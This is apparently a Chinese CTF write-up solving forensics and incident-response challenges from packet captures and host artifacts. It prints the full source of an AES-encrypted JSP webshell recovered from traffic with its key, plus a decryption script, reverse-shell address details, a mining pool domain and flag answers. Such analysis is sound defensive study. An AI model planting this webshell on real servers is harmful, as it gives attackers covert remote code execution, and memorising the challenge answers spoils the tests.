题目内容:
服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
下载附件后,点击分析中的专家信息
然后选择Chat,可以发现
开放端口为80,8888,888
题目内容:
服务器中根目录下的flag值是多少?
追踪HTTP 20046
流
可以发现shell.jsp
源码,具体内容如下
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>
key为748007e861908c03
密文如下
b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa
接下来进行解密即可
from Crypto.Cipher import AES
import binascii
import zlib
# 密钥,与 JSP 代码中的密钥相同
key = b'748007e861908c03'
# 要解密的加密数据(十六进制形式)
encrypted_hex_data = "b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa"
def decode(data, key):
cipher = AES.new(key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(data)
return decrypted_data
def ungzip(in_str):
s = zlib.decompress(in_str, 16 + zlib.MAX_WBITS).decode()
print("Decoded and Unzipped:\n", s)
# 将十六进制数据转换为字节序列
encrypted_bytes = bytes.fromhex(encrypted_hex_data)
# 解密数据并解压缩
decrypted_data = decode(encrypted_bytes, key)
ungzip(decrypted_data)
748007e861908c03 用cmd5爆破得到14mk3y
题目内容:黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
本题附件见于平台公告的SS.zip,解压密码为c77ad47ba4c85fae66f08ec12e0085dd
下载附件后追踪TCP流,发现恶意语句
特征放入浏览器中寻找对应CVE
因此flag为CVE-2022-22965
题目内容:黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
追踪TCP流,发现木马文件bbbb.sh
内容
得到黑客反弹shell的IP和端口,即192.168.43.128:2333
题目内容:黑客的病毒名称是什么? 格式为:filename
在wireshark
中输入tcp.port eq 2333
可以看到跟反弹的ip的通信
发现攻击者查看了rsa密钥,启动了ssh服务
在附件中寻找,发现main
此即为病毒名称
题目内容:黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
查看etc/shadow
文件,此处存放的是用户的密码
可以发现最后一个用户,即11:123456
题目内容:服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
从日志文件中可以看出外网IP为172.105.202.239
题目内容:病毒运行后释放了什么文件?格式:文件1,文件2
.idea
内的即为释放的文件
题目内容:矿池地址是什么? 格式:domain:1234
题目内容:黑客的钱包地址是多少?格式:xx:xxxxxxxx
题目内容:被入侵主机的IP是?
打开附件进行流量分析,可以看到192.168.246.28
在向192.168.24.1
传输etc/passwd
信息,由此可判定受害主机为192.146.246.28
题目内容:被入侵主机的口令是?
追踪TCP流,可以发现password
得到flag为youcannevergetthis
题目内容:用户目录下第二个文件夹的名称是?
在追踪流下接着看
可以看到执行了ls
指令,回显中第二个是Downloads
,因此第二个文件夹的名称为Downloads
题目内容:/etc/passwd中倒数第二个用户的用户名是?
TCP流追踪
mysql为倒数第二个
题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
redis挖矿
查看conf文件
所以flag为6+72038a870f05cbf923633066e48881
题目内容:挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
域名为donate.v2.xmrig.com
,因此按照格式转换一下就好了
攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
查看history
发现nohup.log
猜测是Shiro反序列化漏洞
题目内容:攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
history查看历史命令
发现多次ping81.70.166.3
题目内容:攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
查看日志,由于虚拟机cat只能看一部分,所以这里就用vim来预览
vim /var/log/nginx/access.log
发现伪造的UA
最终把这两个UA合起来按要求转为md5即可
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
在root/.ssh
下发现存在ssh私钥
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
查看开机启动项
systemctl list-unit-files
发现redis.service
自启动,位置确定为/lib/systemed/system/redis.services
,转换md5即可
题目内容:连接蚁剑的正确密码是______________?(答案示例:123asd)
在143流中发现key,此即为密码
题目内容:攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
在HTTP流中看,找到一个base64编码的
解码得ad6269b7-3ce2-4ae8-b97f-f259515e7a91
题目内容:攻击者下载到的flag是______________?(答案示例:flag3{uuid})
题目内容:
服务器自带的后门文件名是什么?(含文件后缀)
追踪HTTP10062流,可以发现ViewMore.php
写入了d00r.php
文件
因此自带的后门文件名为ViewMore.php
题目内容:服务器的内网IP是多少?
寻找d00r.php
文件,追踪HTTP10098流
得到内网IP192.168.101.132
题目内容:攻击者往服务器中写入的key是什么?
这里发现写入了内容
Base64解码可以看出为压缩包格式
打开压缩包
需要密码,从上文可得到密码
输入后得到key
题目内容:攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
之前穷举挨个看的,现在学习其他师傅的思路,语法如下
http && !http.request.uri contains "login" && !tcp contains "用户名或密码错误" && http.response.code !=404
这里的话是筛除了login
登录包和报错包以及返回404的包,剩下的就是一些无报错信息,且不是登录包的流量,而登录成功的那个包也肯定在这里,因此接下来找一下就好了
跟进TCP流
账密TMjpxFGQwD:123457
题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
注意到userid
为2,再往下看
userid
变为1了,将Cookie值内容进行md5加密
383c74db4e32513daaa1eeb1726d7255
所以此时就得到了flag
攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
TCP流追踪1601
得到数据库账密zyplayer:1234567
题目内容:攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
在TCP流中发现是postgresql
百度一下它的RCE漏洞
得到CVE编号为CVE-2022-21724
,追踪下一个流量包
发现文件名是custom.dtd.xml
,因此flag为CVE-2022-21724:custom.dtd.xml
题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如nmap
跟踪TCP流1611
发现内网扫描工具fscan
题目内容:admIn用户的密码是什么?
发现加密的key
和iv
而后发现密码
解密即可
flagflag{WelC0m5_TO_H3re}
题目内容:app.config['SECRET_KEY']值为多少?
用在线工具解码一下即可得到key
所以key为ssti_flask_hsfvaldb
题目内容:flask网站由哪个用户启动?
TCP76流
Cookie如下
.eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE
结合上文得到的密钥,用工具即可
得到用户为red
题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
TCP82流之前没被请求过,所以猜测是Index